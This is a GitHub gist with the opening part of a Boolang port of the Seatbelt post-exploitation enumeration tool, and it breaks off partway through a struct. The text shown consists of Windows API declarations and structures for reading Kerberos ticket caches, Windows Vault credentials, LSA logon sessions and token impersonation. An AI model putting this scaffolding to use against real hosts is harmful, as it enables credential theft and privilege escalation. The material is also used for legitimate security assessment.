Skip to content

Instantly share code, notes, and snippets.

@byt3bl33d3r
Created February 5, 2020 13:47
Show Gist options
  • Save byt3bl33d3r/8cd5d85fdeee670c3642b0829a2cfaad to your computer and use it in GitHub Desktop.
Save byt3bl33d3r/8cd5d85fdeee670c3642b0829a2cfaad to your computer and use it in GitHub Desktop.
A Boolang port of GhostPack's Seatbelt (https://github.com/GhostPack/Seatbelt)
/*
This is a complete port of @Harmjoy's Seatbelt tool to Boolang
All credit goes to him for writing this beast
https://github.com/GhostPack/Seatbelt
*/
import System
import System.Collections
import System.Collections.Generic
import System.Diagnostics
import System.Diagnostics.Eventing.Reader
import System.IO
import System.Linq
import System.Management
import System.Net
import System.Net.NetworkInformation
import System.Reflection
import System.Runtime.InteropServices
import System.Security.AccessControl
import System.Security.Principal
import System.Text
import System.Text.RegularExpressions
import System.Web.Script.Serialization
import Microsoft.Win32
import System.Xml
public enum KERB_PROTOCOL_MESSAGE_TYPE:
KerbDebugRequestMessage = 0
KerbQueryTicketCacheMessage = 1
KerbChangeMachinePasswordMessage = 2
KerbVerifyPacMessage = 3
KerbRetrieveTicketMessage = 4
KerbUpdateAddressesMessage = 5
KerbPurgeTicketCacheMessage = 6
KerbChangePasswordMessage = 7
KerbRetrieveEncodedTicketMessage = 8
KerbDecryptDataMessage = 9
KerbAddBindingCacheEntryMessage = 10
KerbSetPasswordMessage = 11
KerbSetPasswordExMessage = 12
KerbVerifyCredentialsMessage = 13
KerbQueryTicketCacheExMessage = 14
KerbPurgeTicketCacheExMessage = 15
KerbRefreshSmartcardCredentialsMessage = 16
KerbAddExtraCredentialsMessage = 17
KerbQuerySupplementalCredentialsMessage = 18
KerbTransferCredentialsMessage = 19
KerbQueryTicketCacheEx2Message = 20
KerbSubmitTicketMessage = 21
KerbAddExtraCredentialsExMessage = 22
KerbQueryKdcProxyCacheMessage = 23
KerbPurgeKdcProxyCacheMessage = 24
KerbQueryTicketCacheEx3Message = 25
KerbCleanupMachinePkinitCredsMessage = 26
KerbAddBindingCacheEntryExMessage = 27
KerbQueryBindingCacheMessage = 28
KerbPurgeBindingCacheMessage = 29
KerbQueryDomainExtendedPoliciesMessage = 30
KerbQueryS4U2ProxyCacheMessage = 31
public enum KERB_ENCRYPTION_TYPE:
reserved0 = 0
des_cbc_crc = 1
des_cbc_md4 = 2
des_cbc_md5 = 3
reserved1 = 4
des3_cbc_md5 = 5
reserved2 = 6
des3_cbc_sha1 = 7
dsaWithSHA1_CmsOID = 9
md5WithRSAEncryption_CmsOID = 10
sha1WithRSAEncryption_CmsOID = 11
rc2CBC_EnvOID = 12
rsaEncryption_EnvOID = 13
rsaES_OAEP_ENV_OID = 14
des_ede3_cbc_Env_OID = 15
des3_cbc_sha1_kd = 16
aes128_cts_hmac_sha1_96 = 17
aes256_cts_hmac_sha1_96 = 18
aes128_cts_hmac_sha256_128 = 19
aes256_cts_hmac_sha384_192 = 20
rc4_hmac = 23
rc4_hmac_exp = 24
camellia128_cts_cmac = 25
camellia256_cts_cmac = 26
subkey_keymaterial = 65
[Flags]
private enum KERB_CACHE_OPTIONS:
KERB_RETRIEVE_TICKET_DEFAULT = 0x0
KERB_RETRIEVE_TICKET_DONT_USE_CACHE = 0x1
KERB_RETRIEVE_TICKET_USE_CACHE_ONLY = 0x2
KERB_RETRIEVE_TICKET_USE_CREDHANDLE = 0x4
KERB_RETRIEVE_TICKET_AS_KERB_CRED = 0x8
KERB_RETRIEVE_TICKET_WITH_SEC_CRED = 0x10
KERB_RETRIEVE_TICKET_CACHE_TICKET = 0x20
KERB_RETRIEVE_TICKET_MAX_LIFETIME = 0x40
// TODO: double check these flags...
// https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_external_ticket
[Flags]
public enum KERB_TICKET_FLAGS:
reserved = 2147483648
forwardable = 0x40000000
forwarded = 0x20000000
proxiable = 0x10000000
proxy = 0x08000000
may_postdate = 0x04000000
postdated = 0x02000000
invalid = 0x01000000
renewable = 0x00800000
initial = 0x00400000
pre_authent = 0x00200000
hw_authent = 0x00100000
ok_as_delegate = 0x00040000
name_canonicalize = 0x00010000
//cname_in_pa_data = 0x00040000
enc_pa_rep = 0x00010000
reserved1 = 0x00000001
// used to fignal whether filtering should be done on results
public static class FilterResults:
public static filter = true
public static class NetworkAPI:
// from boboes' code at https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889
[DllImport('Netapi32.dll')]
public static def NetLocalGroupGetMembers([MarshalAs(UnmanagedType.LPWStr)] servername as string, [MarshalAs(UnmanagedType.LPWStr)] localgroupname as string, level as int, ref bufptr as IntPtr, prefmaxlen as int, ref entriesread as int, ref totalentries as int, ref resumehandle as IntPtr) as uint:
pass
[DllImport('Netapi32.dll')]
public static def NetApiBufferFree(Buffer as IntPtr) as int:
pass
// LOCALGROUP_MEMBERS_INFO_2 - Structure for holding members details
[StructLayout(LayoutKind.Sequential, CharSet: CharSet.Unicode)]
public struct LOCALGROUP_MEMBERS_INFO_2:
public lgrmi2_sid as IntPtr
public lgrmi2_sidusage as int
public lgrmi2_domainandname as string
// documented in MSDN
public static final ERROR_ACCESS_DENIED as uint = 5
public static final ERROR_MORE_DATA as uint = 234
public static final ERROR_NO_SUCH_ALIAS as uint = 1376
public static final NERR_InvalidComputer as uint = 2351
// found by testing
public static final NERR_GroupNotFound as uint = 2220
public static final SERVER_UNAVAILABLE as uint = 1722
public static class VaultCli:
// pulled directly from @djhohnstein's SharpWeb project: https://github.com/djhohnstein/SharpWeb/blob/master/Edge/SharpEdge.cs
public enum VAULT_ELEMENT_TYPE:
Undefined = -1
Boolean = 0
Short = 1
UnsignedShort = 2
Int = 3
UnsignedInt = 4
Double = 5
Guid = 6
String = 7
ByteArray = 8
TimeStamp = 9
ProtectedArray = 10
Attribute = 11
Sid = 12
Last = 13
public enum VAULT_SCHEMA_ELEMENT_ID:
Illegal = 0
Resource = 1
Identity = 2
Authenticator = 3
Tag = 4
PackageSid = 5
AppStart = 100
AppEnd = 10000
[StructLayout(LayoutKind.Sequential, CharSet: CharSet.Ansi)]
public struct VAULT_ITEM_WIN8:
public SchemaId as Guid
public pszCredentialFriendlyName as IntPtr
public pResourceElement as IntPtr
public pIdentityElement as IntPtr
public pAuthenticatorElement as IntPtr
public pPackageSid as IntPtr
public LastModified as UInt64
public dwFlags as UInt32
public dwPropertiesCount as UInt32
public pPropertyElements as IntPtr
[StructLayout(LayoutKind.Sequential, CharSet: CharSet.Ansi)]
public struct VAULT_ITEM_WIN7:
public SchemaId as Guid
public pszCredentialFriendlyName as IntPtr
public pResourceElement as IntPtr
public pIdentityElement as IntPtr
public pAuthenticatorElement as IntPtr
public LastModified as UInt64
public dwFlags as UInt32
public dwPropertiesCount as UInt32
public pPropertyElements as IntPtr
[StructLayout(LayoutKind.Explicit, CharSet: CharSet.Ansi)]
public struct VAULT_ITEM_ELEMENT:
[FieldOffset(0)]
public SchemaElementId as VAULT_SCHEMA_ELEMENT_ID
[FieldOffset(8)]
public Type as VAULT_ELEMENT_TYPE
[DllImport('vaultcli.dll')]
public static def VaultOpenVault(ref vaultGuid as Guid, offset as UInt32, ref vaultHandle as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll')]
public static def VaultCloseVault(ref vaultHandle as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll')]
public static def VaultFree(ref vaultHandle as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll')]
public static def VaultEnumerateVaults(offset as Int32, ref vaultCount as Int32, ref vaultGuid as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll')]
public static def VaultEnumerateItems(vaultHandle as IntPtr, chunkSize as Int32, ref vaultItemCount as Int32, ref vaultItem as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll', EntryPoint: 'VaultGetItem')]
public static def VaultGetItem_WIN8(vaultHandle as IntPtr, ref schemaId as Guid, pResourceElement as IntPtr, pIdentityElement as IntPtr, pPackageSid as IntPtr, zero as IntPtr, arg6 as Int32, ref passwordVaultPtr as IntPtr) as Int32:
pass
[DllImport('vaultcli.dll', EntryPoint: 'VaultGetItem')]
public static def VaultGetItem_WIN7(vaultHandle as IntPtr, ref schemaId as Guid, pResourceElement as IntPtr, pIdentityElement as IntPtr, zero as IntPtr, arg5 as Int32, ref passwordVaultPtr as IntPtr) as Int32:
pass
public class SeatBelt:
// PInvoke signature definitions
[DllImport("mpr.dll", CharSet: CharSet.Unicode, SetLastError: true)]
public static def WNetGetConnection([MarshalAs(UnmanagedType.LPTStr)] localName as string, [MarshalAs(UnmanagedType.LPTStr)] remoteName as StringBuilder, ref length as int) as int:
pass
[DllImport('advapi32', CharSet: CharSet.Auto, SetLastError: true)]
private static def ConvertSidToStringSid(pSID as IntPtr, ref ptrSid as IntPtr) as bool:
pass
[DllImport('kernel32.dll')]
private static def LocalFree(hMem as IntPtr) as IntPtr:
pass
[DllImport('advapi32.dll', SetLastError: true)]
private static def GetTokenInformation(TokenHandle as IntPtr, TokenInformationClass as TOKEN_INFORMATION_CLASS, TokenInformation as IntPtr, TokenInformationLength as int, ref ReturnLength as int) as bool:
pass
[DllImport('advapi32.dll', SetLastError: true, CharSet: CharSet.Auto)]
protected static def LookupPrivilegeName(lpSystemName as string, lpLuid as IntPtr, lpName as System.Text.StringBuilder, ref cchName as int) as bool:
pass
[DllImport('wtsapi32.dll', SetLastError: true)]
private static def WTSOpenServer([MarshalAs(UnmanagedType.LPStr)] pServerName as String) as IntPtr:
pass
[DllImport('wtsapi32.dll')]
private static def WTSCloseServer(hServer as IntPtr):
pass
[DllImport('wtsapi32.dll', SetLastError: true)]
private static def WTSEnumerateSessions(hServer as IntPtr, [MarshalAs(UnmanagedType.U4)] Reserved as Int32, [MarshalAs(UnmanagedType.U4)] Version as Int32, ref ppSessionInfo as IntPtr, [MarshalAs(UnmanagedType.U4)] ref pCount as Int32) as Int32:
pass
[DllImport('wtsapi32.dll', SetLastError: true)]
private static def WTSEnumerateSessionsEx(hServer as IntPtr, [MarshalAs(UnmanagedType.U4)] ref pLevel as Int32, [MarshalAs(UnmanagedType.U4)] Filter as Int32, ref ppSessionInfo as IntPtr, [MarshalAs(UnmanagedType.U4)] ref pCount as Int32) as Int32:
pass
[DllImport('wtsapi32.dll')]
private static def WTSFreeMemory(pMemory as IntPtr):
pass
[DllImport('Wtsapi32.dll', SetLastError: true)]
private static def WTSQuerySessionInformation(hServer as IntPtr, sessionId as uint, wtsInfoClass as WTS_INFO_CLASS, ref ppBuffer as IntPtr, ref pBytesReturned as uint) as bool:
pass
[DllImport('iphlpapi.dll', SetLastError: true)]
public static def GetExtendedTcpTable(pTcpTable as IntPtr, ref dwOutBufLen as uint, sort as bool, ipVersion as int, tblClass as TCP_TABLE_CLASS, reserved as int) as uint:
pass
[DllImport('advapi32.dll', SetLastError: true)]
public static def I_QueryTagInformation(Unknown as IntPtr, Type as SC_SERVICE_TAG_QUERY_TYPE, ref Query as SC_SERVICE_TAG_QUERY) as uint:
pass
[DllImport('iphlpapi.dll', SetLastError: true)]
public static def GetExtendedUdpTable(pUdpTable as IntPtr, ref dwOutBufLen as uint, sort as bool, ipVersion as int, tblClass as UDP_TABLE_CLASS, reserved as int) as uint:
pass
[DllImport('secur32.dll', SetLastError: false)]
private static def LsaConnectUntrusted([Out] ref LsaHandle as IntPtr) as int:
pass
[DllImport('secur32.dll', SetLastError: true)]
public static def LsaRegisterLogonProcess(LogonProcessName as LSA_STRING_IN, ref LsaHandle as IntPtr, ref SecurityMode as ulong) as int:
pass
[DllImport('secur32.dll', SetLastError: false)]
private static def LsaDeregisterLogonProcess([In] LsaHandle as IntPtr) as int:
pass
[DllImport('secur32.dll', SetLastError: false)]
public static def LsaLookupAuthenticationPackage([In] LsaHandle as IntPtr, [In] ref PackageName as LSA_STRING_IN, [Out] ref AuthenticationPackage as int) as int:
pass
[DllImport('secur32.dll', SetLastError: false)]
private static def LsaCallAuthenticationPackage(LsaHandle as IntPtr, AuthenticationPackage as int, ref ProtocolSubmitBuffer as KERB_QUERY_TKT_CACHE_REQUEST, SubmitBufferLength as int, ref ProtocolReturnBuffer as IntPtr, ref ReturnBufferLength as int, ref ProtocolStatus as int) as int:
pass
[DllImport('secur32.dll', EntryPoint: 'LsaCallAuthenticationPackage', SetLastError: false)]
private static def LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT(LsaHandle as IntPtr, AuthenticationPackage as int, ref ProtocolSubmitBuffer as KERB_RETRIEVE_TKT_REQUEST, SubmitBufferLength as int, ref ProtocolReturnBuffer as IntPtr, ref ReturnBufferLength as int, ref ProtocolStatus as int) as int:
pass
[DllImport('secur32.dll', EntryPoint: 'LsaCallAuthenticationPackage', SetLastError: false)]
private static def LsaCallAuthenticationPackage_KERB_RETRIEVE_TKT_UNI(LsaHandle as IntPtr, AuthenticationPackage as int, ref ProtocolSubmitBuffer as KERB_RETRIEVE_TKT_REQUEST_UNI, SubmitBufferLength as int, ref ProtocolReturnBuffer as IntPtr, ref ReturnBufferLength as int, ref ProtocolStatus as int) as int:
pass
[DllImport('secur32.dll', SetLastError: false)]
private static def LsaFreeReturnBuffer(buffer as IntPtr) as uint:
pass
[DllImport('Secur32.dll', SetLastError: false)]
private static def LsaEnumerateLogonSessions(ref LogonSessionCount as UInt64, ref LogonSessionList as IntPtr) as uint:
pass
[DllImport('Secur32.dll', SetLastError: false)]
private static def LsaGetLogonSessionData(luid as IntPtr, ref ppLogonSessionData as IntPtr) as uint:
pass
// for GetSystem()
[DllImport('advapi32.dll', SetLastError: true)]
private static def OpenProcessToken(ProcessHandle as IntPtr, DesiredAccess as UInt32, ref TokenHandle as IntPtr) as bool:
pass
[DllImport('advapi32.dll')]
public static def DuplicateToken(ExistingTokenHandle as IntPtr, SECURITY_IMPERSONATION_LEVEL as int, ref DuplicateTokenHandle as IntPtr) as bool:
pass
[DllImport('advapi32.dll', SetLastError: true)]
private static def ImpersonateLoggedOnUser(hToken as IntPtr) as bool:
pass
[DllImport('advapi32.dll', SetLastError: true)]
private static def RevertToSelf() as bool:
pass
[DllImport('kernel32.dll', SetLastError: true)]
private static def CloseHandle(hObject as IntPtr) as bool:
pass
[DllImport('kernel32.dll')]
private static def LocalAlloc(uFlags as uint, uBytes as uint) as IntPtr:
pass
[DllImport('kernel32.dll', EntryPoint: 'CopyMemory', SetLastError: false)]
public static def CopyMemory(dest as IntPtr, src as IntPtr, count as uint):
pass
[DllImport('IpHlpApi.dll')]
internal static def GetIpNetTable(pIpNetTable as IntPtr, [MarshalAs(UnmanagedType.U4)] ref pdwSize as int, bOrder as bool) as int:
pass
[DllImport('IpHlpApi.dll', SetLastError: true, CharSet: CharSet.Auto)]
internal static def FreeMibTable(plpNetTable as IntPtr) as int:
pass
[DllImport('advapi32.dll', CharSet: CharSet.Auto, SetLastError: true)]
private static def LookupAccountSid(lpSystemName as string, [MarshalAs(UnmanagedType.LPArray)] Sid as (byte), lpName as StringBuilder, ref cchName as uint, ReferencedDomainName as StringBuilder, ref cchReferencedDomainName as uint, ref peUse as SID_NAME_USE) as bool:
pass
// PInvoke structures/contants
public static final SE_GROUP_LOGON_ID as uint = 3221225472L
// from winnt.h
public static final TokenGroups = 2
// from TOKEN_INFORMATION_CLASS
private enum TOKEN_INFORMATION_CLASS:
TokenUser = 1
TokenGroups
TokenPrivileges
TokenOwner
TokenPrimaryGroup
TokenDefaultDacl
TokenSource
TokenType
TokenImpersonationLevel
TokenStatistics
TokenRestrictedSids
TokenSessionId
TokenGroupsAndPrivileges
TokenSessionReference
TokenSandBoxInert
TokenAuditPolicy
TokenOrigin
[StructLayout(LayoutKind.Sequential)]
public struct SID_AND_ATTRIBUTES:
public Sid as IntPtr
public Attributes as uint
[StructLayout(LayoutKind.Sequential)]
public struct TOKEN_GROUPS:
public GroupCount as int
[MarshalAs(UnmanagedType.ByValArray, SizeConst: 1)]
public Groups as (SID_AND_ATTRIBUTES)
protected struct TOKEN_PRIVILEGES:
public PrivilegeCount as UInt32
[MarshalAs(UnmanagedType.ByValArray, SizeConst: 35)]
public Privileges as (LUID_AND_ATTRIBUTES)
[StructLayout(LayoutKind.Sequential)]
protected struct LUID_AND_ATTRIBUTES:
public Luid as LUID
public Attributes as UInt32
[StructLayout(LayoutKind.Sequential)]
protected struct LUID:
public LowPart as uint
public HighPart as int
[Flags]
public enum FirewallProfiles:
DOMAIN = 1
PRIVATE = 2
PUBLIC = 4
ALL = 2147483647
[Flags]
public enum LuidAttributes:
DISABLED = 0
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 1
SE_PRIVILEGE_ENABLED = 2
SE_PRIVILEGE_REMOVED = 4
private enum SID_NAME_USE:
SidTypeUser = 1
SidTypeGroup
SidTypeDomain
SidTypeAlias
SidTypeWellKnownGroup
SidTypeDeletedAccount
SidTypeInvalid
SidTypeUnknown
SidTypeComputer
[StructLayout(LayoutKind.Sequential)]
private struct WTS_SESSION_INFO:
public SessionID as Int32
[MarshalAs(UnmanagedType.LPStr)]
public pWinStationName as String
public State as WTS_CONNECTSTATE_CLASS
[StructLayout(LayoutKind.Sequential)]
private struct WTS_SESSION_INFO_1:
public ExecEnvId as Int32
public State as WTS_CONNECTSTATE_CLASS
public SessionID as Int32
[MarshalAs(UnmanagedType.LPStr)]
public pSessionName as String
[MarshalAs(UnmanagedType.LPStr)]
public pHostName as String
[MarshalAs(UnmanagedType.LPStr)]
public pUserName as String
[MarshalAs(UnmanagedType.LPStr)]
public pDomainName as String
[MarshalAs(UnmanagedType.LPStr)]
public pFarmName as String
[StructLayout(LayoutKind.Sequential)]
public struct WTS_CLIENT_ADDRESS:
public AddressFamily as uint
[MarshalAs(UnmanagedType.ByValArray, SizeConst: 20)]
public Address as (byte)
public enum WTS_CONNECTSTATE_CLASS:
Active
Connected
ConnectQuery
Shadow
Disconnected
Idle
Listen
Reset
Down
Init
public enum WTS_INFO_CLASS:
WTSInitialProgram = 0
WTSApplicationName = 1
WTSWorkingDirectory = 2
WTSOEMId = 3
WTSSessionId = 4
WTSUserName = 5
WTSWinStationName = 6
WTSDomainName = 7
WTSConnectState = 8
WTSClientBuildNumber = 9
WTSClientName = 10
WTSClientDirectory = 11
WTSClientProductId = 12
WTSClientHardwareId = 13
WTSClientAddress = 14
WTSClientDisplay = 15
WTSClientProtocolType = 16
WTSIdleTime = 17
WTSLogonTime = 18
WTSIncomingBytes = 19
WTSOutgoingBytes = 20
WTSIncomingFrames = 21
WTSOutgoingFrames = 22
WTSClientInfo = 23
WTSSessionInfo = 24
WTSSessionInfoEx = 25
WTSConfigInfo = 26
WTSValidationInfo = 27
WTSSessionAddressV4 = 28
WTSIsRemoteSession = 29
public enum TCP_TABLE_CLASS:
TCP_TABLE_BASIC_LISTENER
TCP_TABLE_BASIC_CONNECTIONS
TCP_TABLE_BASIC_ALL
TCP_TABLE_OWNER_PID_LISTENER
TCP_TABLE_OWNER_PID_CONNECTIONS
TCP_TABLE_OWNER_PID_ALL
TCP_TABLE_OWNER_MODULE_LISTENER
TCP_TABLE_OWNER_MODULE_CONNECTIONS
TCP_TABLE_OWNER_MODULE_ALL
public enum UDP_TABLE_CLASS:
UDP_TABLE_BASIC
UDP_TABLE_OWNER_PID
UDP_TABLE_OWNER_MODULE
[StructLayout(LayoutKind.Sequential)]
public struct SC_SERVICE_TAG_QUERY:
public ProcessId as uint
public ServiceTag as uint
public Unknown as uint
public Buffer as IntPtr
public enum SC_SERVICE_TAG_QUERY_TYPE:
ServiceNameFromTagInformation = 1
ServiceNamesReferencingModuleInformation = 2
ServiceNameTagMappingInformation = 3
[StructLayout(LayoutKind.Sequential)]
public struct MIB_TCPTABLE_OWNER_MODULE:
public NumEntries as uint
private Table as MIB_TCPROW_OWNER_MODULE
[StructLayout(LayoutKind.Sequential)]
public struct MIB_TCPROW_OWNER_MODULE:
public final State as MIB_TCP_STATE
public final LocalAddr as uint
private final LocalPort1 as byte
private final LocalPort2 as byte
private final LocalPort3 as byte
private final LocalPort4 as byte
public final RemoteAddr as uint
private final RemotePort1 as byte
private final RemotePort2 as byte
private final RemotePort3 as byte
private final RemotePort4 as byte
public final OwningPid as uint
public final CreateTimestamp as UInt64
public final OwningModuleInfo0 as UInt64
public final OwningModuleInfo1 as UInt64
public final OwningModuleInfo2 as UInt64
public final OwningModuleInfo3 as UInt64
public final OwningModuleInfo4 as UInt64
public final OwningModuleInfo5 as UInt64
public final OwningModuleInfo6 as UInt64
public final OwningModuleInfo7 as UInt64
public final OwningModuleInfo8 as UInt64
public final OwningModuleInfo9 as UInt64
public final OwningModuleInfo10 as UInt64
public final OwningModuleInfo11 as UInt64
public final OwningModuleInfo12 as UInt64
public final OwningModuleInfo13 as UInt64
public final OwningModuleInfo14 as UInt64
public final OwningModuleInfo15 as UInt64
public LocalPort as ushort:
get:
return BitConverter.ToUInt16((of byte: LocalPort2, LocalPort1), 0)
public LocalAddress as IPAddress:
get:
return IPAddress(LocalAddr)
public RemoteAddress as IPAddress:
get:
return IPAddress(RemoteAddr)
public RemotePort as ushort:
get:
return BitConverter.ToUInt16((of byte: RemotePort2, RemotePort1), 0)
[StructLayout(LayoutKind.Sequential)]
public struct MIB_UDPTABLE_OWNER_MODULE:
public NumEntries as uint
private Table as MIB_UDPROW_OWNER_MODULE
[StructLayout(LayoutKind.Sequential)]
public struct MIB_UDPROW_OWNER_MODULE:
public final LocalAddr as uint
private final LocalPort1 as byte
private final LocalPort2 as byte
private final LocalPort3 as byte
private final LocalPort4 as byte
public final OwningPid as uint
public final CreateTimestamp as UInt64
public final SpecificPortBind_Flags as UInt32
// public readonly UInt32 Flags;
public final OwningModuleInfo0 as UInt64
public final OwningModuleInfo1 as UInt64
public final OwningModuleInfo2 as UInt64
public final OwningModuleInfo3 as UInt64
public final OwningModuleInfo4 as UInt64
public final OwningModuleInfo5 as UInt64
public final OwningModuleInfo6 as UInt64
public final OwningModuleInfo7 as UInt64
public final OwningModuleInfo8 as UInt64
public final OwningModuleInfo9 as UInt64
public final OwningModuleInfo10 as UInt64
public final OwningModuleInfo11 as UInt64
public final OwningModuleInfo12 as UInt64
public final OwningModuleInfo13 as UInt64
public final OwningModuleInfo14 as UInt64
public final OwningModuleInfo15 as UInt64
public LocalPort as ushort:
get:
return BitConverter.ToUInt16((of byte: LocalPort2, LocalPort1), 0)
public LocalAddress as IPAddress:
get:
return IPAddress(LocalAddr)
[StructLayout(LayoutKind.Sequential)]
public struct MIB_TCPROW_OWNER_PID:
public state as uint
public localAddr as uint
public localPort1 as byte
public localPort2 as byte
public localPort3 as byte
public localPort4 as byte
public remoteAddr as uint
public remotePort1 as byte
public remotePort2 as byte
public remotePort3 as byte
public remotePort4 as byte
public owningPid as int
public LocalPort as ushort:
get:
return BitConverter.ToUInt16((of byte: localPort2, localPort1), 0)
public LocalAddress as IPAddress:
get:
return IPAddress(localAddr)
public RemoteAddress as IPAddress:
get:
return IPAddress(remoteAddr)
public RemotePort as ushort:
get:
return BitConverter.ToUInt16((of byte: remotePort2, remotePort1), 0)
public State as MIB_TCP_STATE:
get:
return (state cast MIB_TCP_STATE)
[StructLayout(LayoutKind.Sequential)]
public struct MIB_UDPROW_OWNER_PID:
public localAddr as uint
//[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public localPort1 as byte
public localPort2 as byte
public localPort3 as byte
public localPort4 as byte
public owningPid as int
public LocalPort as ushort:
get:
return BitConverter.ToUInt16((of byte: localPort2, localPort1), 0)
public LocalAddress as IPAddress:
get:
return IPAddress(localAddr)
[StructLayout(LayoutKind.Sequential)]
public struct MIB_TCPTABLE_OWNER_PID:
public dwNumEntries as uint
private table as MIB_TCPROW_OWNER_PID
[StructLayout(LayoutKind.Sequential)]
public struct MIB_UDPTABLE_OWNER_PID:
public dwNumEntries as uint
private table as MIB_TCPROW_OWNER_PID
public enum MIB_TCP_STATE:
CLOSED = 1
LISTEN = 2
SYN_SENT = 3
SYN_RCVD = 4
ESTAB = 5
FIN_WAIT1 = 6
FIN_WAIT2 = 7
CLOSE_WAIT = 8
CLOSING = 9
LAST_ACK = 10
TIME_WAIT = 11
DELETE_TCB = 12
[StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING_IN:
public Length as UInt16
public MaximumLength as UInt16
public Buffer as string
[StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING_OUT:
public Length as UInt16
public MaximumLength as UInt16
public Buffer as IntPtr
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING(IDisposable):
public Length as ushort
public MaximumLength as ushort
public buffer as IntPtr
public def constructor(s as string):
Length = ((s.Length * 2) cast ushort)
MaximumLength = ((Length + 2) cast ushort)
buffer = Marshal.StringToHGlobalUni(s)
public def Dispose():
Marshal.FreeHGlobal(buffer)
buffer = IntPtr.Zero
public override def ToString() as string:
return Marshal.PtrToStringUni(buffer)
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_HANDLE:
public LowPart as IntPtr
public HighPart as IntPtr
public def constructor(dummy as int):
LowPart = (HighPart = IntPtr.Zero)
[StructLayout(LayoutKind.Sequential)]
public struct KERB_TICKET_CACHE_INFO:
public ServerName as LSA_STRING_OUT
public RealmName as LSA_STRING_OUT
public StartTime as Int64
public EndTime as Int64
public RenewTime as Int64
public EncryptionType as Int32
public TicketFlags as UInt32
[StructLayout(LayoutKind.Sequential)]
public struct KERB_TICKET_CACHE_INFO_EX:
public ClientName as LSA_STRING_OUT
public ClientRealm as LSA_STRING_OUT
public ServerName as LSA_STRING_OUT
public ServerRealm as LSA_STRING_OUT
public StartTime as Int64
public EndTime as Int64
public RenewTime as Int64
public EncryptionType as Int32
public TicketFlags as UInt32
[StructLayout(LayoutKind.Sequential)]
private struct KERB_QUERY_TKT_CACHE_RESPONSE:
public MessageType as KERB_PROTOCOL_MESSAGE_TYPE
public CountOfTickets as int
// public KERB_TICKET_CACHE_INFO[] Tickets;
public Tickets as IntPtr
[StructLayout(LayoutKind.Sequential)]
private struct KERB_QUERY_TKT_CACHE_EX_RESPONSE:
public MessageType as KERB_PROTOCOL_MESSAGE_TYPE
public CountOfTickets as int
// public KERB_TICKET_CACHE_INFO[] Tickets;
public Tickets as IntPtr
[StructLayout(LayoutKind.Sequential)]
private struct KERB_QUERY_TKT_CACHE_REQUEST:
public MessageType as KERB_PROTOCOL_MESSAGE_TYPE
public LogonId as LUID
[StructLayout(LayoutKind.Sequential)]
private struct KERB_RETRIEVE_TKT_REQUEST:
public MessageType as KERB_PROTOCOL_MESSAGE_TYPE
public LogonId as LUID
public TargetName as LSA_STRING_IN
public TicketFlags as UInt64
public CacheOptions as KERB_CACHE_OPTIONS
public EncryptionType as Int64
public CredentialsHandle as SECURITY_HANDLE
[StructLayout(LayoutKind.Sequential)]
private struct KERB_RETRIEVE_TKT_REQUEST_UNI:
public MessageType as KERB_PROTOCOL_MESSAGE_TYPE
public LogonId as LUID
public TargetName as UNICODE_STRING
public TicketFlags as UInt64
public CacheOptions as KERB_CACHE_OPTIONS
public EncryptionType as Int64
public CredentialsHandle as SECURITY_HANDLE
[StructLayout(LayoutKind.Sequential)]
private struct KERB_CRYPTO_KEY:
public KeyType as Int32
public Length as Int32
public Value as IntPtr
[StructLayout(LayoutKind.Sequential)]
private struct KERB_EXTERNAL_NAME:
public NameType as Int16
public NameCount as UInt16
public Names as LSA_STRING_OUT
[StructLayout(LayoutKind.Sequential)]
private struct KERB_EXTERNAL_TICKET:
public ServiceName as IntPtr
public TargetName as IntPtr
public ClientName as IntPtr
public DomainName as LSA_STRING_OUT
public TargetDomainName as LSA_STRING_OUT
public AltTargetDomainName as LSA_STRING_OUT
public SessionKey as KERB_CRYPTO_KEY
public TicketFlags as UInt32
public Flags as UInt32
public KeyExpirationTime as Int64
public StartTime as Int64
public EndTime as Int64
public RenewUntil as Int64
public TimeSkew as Int64
public EncodedTicketSize as Int32
public EncodedTicket as IntPtr
[StructLayout(LayoutKind.Sequential)]
private struct KERB_RETRIEVE_TKT_RESPONSE:
public Ticket as KERB_EXTERNAL_TICKET
private enum SECURITY_LOGON_TYPE:
Interactive = 2
// logging on interactively.
Network
// logging using a network.
Batch
// logon for a batch process.
Service
// logon for a service account.
Proxy
// Not supported.
Unlock
// Tattempt to unlock a workstation.
NetworkCleartext
// network logon with cleartext credentials
NewCredentials
// caller can clone its current token and specify new credentials for outbound connections
RemoteInteractive
// terminal server session that is both remote and interactive
CachedInteractive
// attempt to use the cached credentials without going out across the network
CachedRemoteInteractive
// same as RemoteInteractive, except used internally for auditing purposes
CachedUnlock
// attempt to unlock a workstation
[StructLayout(LayoutKind.Sequential)]
private struct SECURITY_LOGON_SESSION_DATA:
public Size as UInt32
public LoginID as LUID
public Username as LSA_STRING_OUT
public LoginDomain as LSA_STRING_OUT
public AuthenticationPackage as LSA_STRING_OUT
public LogonType as UInt32
public Session as UInt32
public PSiD as IntPtr
public LoginTime as UInt64
public LogonServer as LSA_STRING_OUT
public DnsDomainName as LSA_STRING_OUT
public Upn as LSA_STRING_OUT
public static final MAXLEN_PHYSADDR = 8
public static final ERROR_SUCCESS = 0
public static final ERROR_INSUFFICIENT_BUFFER = 122
[StructLayout(LayoutKind.Sequential)]
internal struct MIB_IPNETROW:
[MarshalAs(UnmanagedType.U4)]
public dwIndex as int
[MarshalAs(UnmanagedType.U4)]
public dwPhysAddrLen as int
[MarshalAs(UnmanagedType.U1)]
public mac0 as byte
[MarshalAs(UnmanagedType.U1)]
public mac1 as byte
[MarshalAs(UnmanagedType.U1)]
public mac2 as byte
[MarshalAs(UnmanagedType.U1)]
public mac3 as byte
[MarshalAs(UnmanagedType.U1)]
public mac4 as byte
[MarshalAs(UnmanagedType.U1)]
public mac5 as byte
